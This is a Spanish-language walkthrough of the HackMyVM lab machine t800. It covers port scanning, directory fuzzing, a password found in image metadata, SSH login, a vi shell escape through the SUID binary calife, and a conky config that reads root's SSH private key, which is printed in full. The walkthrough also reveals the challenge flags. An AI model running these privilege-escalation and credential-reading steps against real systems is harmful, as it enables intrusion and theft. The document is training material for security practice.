t800 HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-25 11:15 EDT
Nmap scan report for 192.168.28.22
Host is up (0.00086s latency).

PORT    STATE SERVICE VERSION
80/tcp  open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
800/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 b6:be:5a:0b:ec:0b:53:69:b6:7b:54:46:7d:40:56:75 (RSA)
|   256 a3:3c:a5:67:ba:42:94:04:49:47:24:30:63:91:ef:c3 (ECDSA)
|_  256 b2:75:86:d8:45:99:9a:9d:89:10:41:9a:d0:03:6c:a8 (ED25519)
MAC Address: 08:00:27:40:81:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds

Veremos que hay un puerto 80 en el que esta alojada una pagina web, vamos a ver que contiene, si entramos dentro veremos una imagen de un señor, pero poco mas, por lo que vamos a realizar un poco de fuzzing:

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.28.22/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,html,php
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 160]
/robots.txt           (Status: 200) [Size: 13]
/robots.txt           (Status: 200) [Size: 13]
/sexy                 (Status: 403) [Size: 169]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Veremos que hay 2 rutas interesantes, entre ellas la llamada sexy y la otra llamada robots.txt, vamos a ver que hay en el robots.txt:

URL = http://<IP>/robots.txt

Info:

/sexy/*.jpeg

Veremos que tendremos que realizar fuzzing en busca de una imagen en la pagina del directorio llamado sexy, por lo que haremos lo siguiente:

gobuster dir -u http://<IP>/sexy/ -w <WORDLIST> -x jpeg -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.28.22/sexy/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              jpeg
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/nudeslut.jpeg        (Status: 200) [Size: 11863]

Veremos que nos ha encontrado una imagen, por lo que vamos a ver que contiene:

curl -O http://<IP>/sexy/nudeslut.jpeg

Si la abrimos veremos una imagen del mismo hombre pero con otra pose, por lo que vamos a ver si a nivel de metadatos vemos algo interesante:

exiftool

exiftool nudeslut.jpeg

Info:

ExifTool Version Number         : 13.10
File Name                       : nudeslut.jpeg
Directory                       : .
File Size                       : 12 kB
File Modification Date/Time     : 2025:04:25 11:09:41-04:00
File Access Date/Time           : 2025:04:25 11:09:41-04:00
File Inode Change Date/Time     : 2025:04:25 11:09:41-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : passwd:chmodxheart
Image Width                     : 275
Image Height                    : 183
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 275x183
Megapixels                      : 0.050

Veremos algo muy interesante en los metadatos y es que hay unas credenciales en ellos, por lo que vamos a probarlo con el servidor SSH de la siguiente forma:

SSH

Si miramos en la pagina principal el codigo veremos esta parte del codigo en HTML:

<!-- Im ruut-->

Vemos lo que parece ser un nombre de usuario, por lo que vamos a probarlo por SSH.

ssh ruut@<IP> -p 800

Metemos como contraseña chmodxheart y veremos que estamos dentro.

Info:

The authenticity of host '[192.168.28.22]:800 ([192.168.28.22]:800)' can't be established.
ED25519 key fingerprint is SHA256:NQDCK+YQrbsHYi1VtpjQA0dziHvQ5rqh5HTcD1GL/lo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.28.22]:800' (ED25519) to the list of known hosts.
ruut@192.168.28.22's password: 
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr  8 08:20:55 2021 from 192.168.1.58
ruut@t800:~$ whoami
ruut

Escalate user superruut

Si listamos los permisos SUID veremos lo siguiente:

find / -type f -perm -4000 -ls 2>/dev/null

Info:

137981    704 -rwsr-sr-x   1 root     root       718872 May 15  2018 /usr/bin/conky
   131121     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   134473     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   134620     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   134946     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   137759     20 -rwsr-xr-x   1 root     root        19016 Mar 27  2018 /usr/bin/calife
   131120     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   131118     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   131117     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   134948     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   146938    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   268129     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   135697     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Veremos esta linea de aqui:

137981  704 -rwsr-sr-x   1 root   root   718872 May 15  2018 /usr/bin/conky

Y seguidamente esta:

137759   20 -rwsr-xr-x   1 root   root    19016 Mar 27  2018 /usr/bin/calife

Veremos que esos binarios no suelen ser muy comunes, por lo que vamos a investigar a ver que hacen:

En el binario conky no veremos gran cosa, pero si buscamos con calife veremos lo siguiente:

URL = Manual binario calife

Vemos que si ejecutamos el binario junto con el nombre de un usuario podremos obtener una shell de dicho usuario, vamos a probar con root:

Tambien lo podemos descubrir por que si intentamos obtener la ayuda del binario veremos lo siguiente:

Unknown user --help.

Nos indica que no es un usuario valido por lo que vamos a intentar con root:

/usr/bin/calife root

Metemos como contraseña chmodxheart pero no nos dejara, por lo que vamos a probar con el otro usuario llamado superruut:

/usr/bin/calife superruut

Metemos como contraseña chmodxheart y nos llevara a un editor de texto vi por lo que vamos aprobechar eso enviando un comando para obtener una shell de la siguiente forma:

:set shell=/bin/bash
:shell

Info:

superruut@t800:/etc$ whoami
superruut

Con esto veremos que seremos dicho usuario, por lo que leeremos la flag del usuario:

userflag.txt

ruutrulezhmv

Escalate Privileges

Como antes hemos visto tenemos con permisos SUID el binario conky por lo que vamos a investigar sobre el.

Si investigamos veremos que desde los archivos de configuracion si el out_to_console esta en True podremos exfiltrar informacion que nosotros modifiquemos dentro de dicho archivo, por lo que podremos hacer lo siguiente:

Primero vamos a ver donde se encuentra el archivo de configuracion:

find / -name "conky*" 2>/dev/null

Info:

/etc/conky
/etc/conky/conky_no_x11.conf
/etc/conky/conky.conf
/usr/bin/conky
/usr/share/doc-base/conky-manual
/usr/share/apport/package-hooks/conky.py
/usr/share/doc/conky
/usr/share/doc/conky-std
/usr/share/doc/conky-std/conky_no_x11.conf
/usr/share/doc/conky-std/conky.conf
/usr/share/vim/addons/ftdetect/conkyrc.vim
/usr/share/vim/addons/syntax/conkyrc.vim
/usr/share/man/man1/conky.1.gz
/var/lib/dpkg/info/conky-std.md5sums
/var/lib/dpkg/info/conky-std.list
/var/lib/dpkg/info/conky.list
/var/lib/dpkg/info/conky-std.conffiles
/var/lib/dpkg/info/conky.md5sums
/var/cache/apt/archives/conky_1.10.8-1_all.deb
/var/cache/apt/archives/conky-std_1.10.8-1+b1_amd64.deb

Veremos que el que nos interesa es el siguiente:

/etc/conky/conky.conf

Pero si leemos el archivo veremos lo siguiente:

conky.config = {
    alignment = 'top_left',
    background = false,
    border_width = 1,
    cpu_avg_samples = 2,
      default_color = 'white',
    default_outline_color = 'white',
    default_shade_color = 'white',
    draw_borders = false,
    draw_graph_borders = true,
    draw_outline = false,
    draw_shades = false,
    use_xft = true,
    font = 'DejaVu Sans Mono:size=12',
    gap_x = 5,
    gap_y = 60,
    minimum_height = 5,
      minimum_width = 5,
    net_avg_samples = 2,
    no_buffers = true,
    out_to_console = false,
    out_to_stderr = false,
    extra_newline = false,
    own_window = true,
    own_window_class = 'Conky',
    own_window_type = 'desktop',
    stippled_borders = 0,
    update_interval = 1.0,
    uppercase = false,
    use_spacer = 'none',
    show_graph_scale = false,
    show_graph_range = false
}

Por lo que vemos la opcion que necesitamos esta desactivada, por lo que vamos a crear un archivo de configuracion en nuestra /home de la siguiente forma:

nano /home/superruut/conky.conf

#Dentro del nano
conky.config = {
       out_to_console = true,  # <--------- Modificamos esta parte de aqui
       out_to_x = false,
}

conky.text = [[
${tail /root/.ssh/id_rsa 30} # Añadimos esto de aqui para poder leer la id_rsa de root (Si existiera)
]]

Vamos a ver si con esto funciona, ahora ejecutamos el binario para probarlo:

conky -c /home/superruut/conky.conf

Info:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA9qeXI0DQ29nXEAmGT7bQo0ZCAJkEwTTcIDwpWvqe/u4iBThfwW1f
d9IigvM+GKq43bde3p6xBFTC5/ZO1bWN/g0Pi3GVmsScOuZanV/PQiZ4UnmeFV5fevm6ED
piwXKKCKxGUS/vkLt4n9gNkmbjnTTzWVgJe9MhFOKEkzUQFwn/pIBT3H0D/N5A7Yxu4FiF
2FQUZqacBJU+m/iHL4ep/2j+IcDzjSPI3RGwuOW+qrJPg5rGeJt4JhuicobXip5W3f2cyx
tBazXKFOCcpZD068j9zbM5j6TxpLNK0+fDVeBv9sK4mbdCbO62Xms2+4IWKZQl20sFSKKe
EsuMtD5hhQAAA8Cn+gd6p/oHegAAAAdzc2gtcnNhAAABAQD2p5cjQNDb2dcQCYZPttCjRk
IAmQTBNNwgPCla+p7+7iIFOF/BbV930iKC8z4Yqrjdt17enrEEVMLn9k7VtY3+DQ+LcZWa
xJw65lqdX89CJnhSeZ4VXl96+boQOmLBcooIrEZRL++Qu3if2A2SZuOdNPNZWAl70yEU4o
STNRAXCf+kgFPcfQP83kDtjG7gWIXYVBRmppwElT6b+Icvh6n/aP4hwPONI8jdEbC45b6q
sk+DmsZ4m3gmG6JyhteKnlbd/ZzLG0FrNcoU4JylkPTryP3NszmPpPGks0rT58NV4G/2wr
iZt0Js7rZeazb7ghYplCXbSwVIop4Sy4y0PmGFAAAAAwEAAQAAAQB0tI1Vl9h6/dK9etQ7
KXQEnTyjjcNrK3iwI+cpbgYG92PPdoIQQpD2X84GidMq1rSL67SOvyVguD5UhP1+Lt5Vg5
aEUyUHStnlIJNlfSzSzuMFmxfKYpHo3PpFrWqGv4xCWEkZJwZCRAHqF88sI1S1UJWIA5jR
Ju+zMw6pnGTVkO7B+f6IQCNdKVXYcyjvMmgia3F8FymGxLjLF3gjZ5y+BeyH7WU7NUbTJz
UycA8KeIwet0yxDb99DyHNNw2jY4QvOYSqJbkmKCOPv4QSji+qVvcY5UHPLFpa65rMai15
MkNAic3cHZnOjTAxmOiGWFjLNSjOoOjl+2+YsPLiC2ohAAAAgCM8OD2TcU9IoViI3Q126J
vskHgBTCT0uFHcF8JoiWZx3OcMbtIg+ClXpvOiMDbNuRLStMvW6CvaANz9qPr6fpz6uQsz
BisQVyF6YigjPIfhkuJ3ThkwMjVGSxpghzUVjUXbaX+nAeWK5yM081/qEBW+n9VktYmWsj
0Vo9SO/d2+AAAAgQD8F15FPhU50yOxOVwrx6+YTz71zgG1C3G9R6Ie1EuY4GbTpW5IqHeP
izBlAKPh2veQhaPbonvKjhzGVdsRIrS3j4uYQVUeyqeqR07BjgWFMu8NEDuF+H8QxWbLVh
fFFqaUkw4++OZMsez7lfB/k/pkSoSY5tsf5Pbtq/pgKaEyjQAAAIEA+nqkc4BCKd5VDLJK
KC4ORY8QJoAzuF7azzTqDvC2vJPtkEElm1fE4iDQ/OoA+jBhyU84umffuagnr2vT2WgkeO
L99/4JC4VCcmTFi8mVkpK6zf4/M8GQckso0cAyTXT/UhMYnw9fUj4EF8S6/nmxjuMyfQxD
6ewvAde96sKmqNkAAAAJcm9vdEB0ODAwAQI=
-----END OPENSSH PRIVATE KEY-----

Veremos que ha funcionado de forma correcta, por lo que haremos lo siguiente:

Maquina Host

nano id_rsa

#Dentro del nano
<ID_RSA_ROOT>

Lo guardamos y establecemos los permisos necesarios:

chmod 600 id_rsa

Ahora vamos a conectarnos mediante la clave PEM de la siguiente forma:

ssh -i id_rsa root@<IP> -p 800

Info:

Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr  8 08:18:02 2021
root@t800:~# whoami
root

Con esto ya seremos root por lo que leeremos la flag de root:

rootflag.txt

hmvtitoroot

Last updated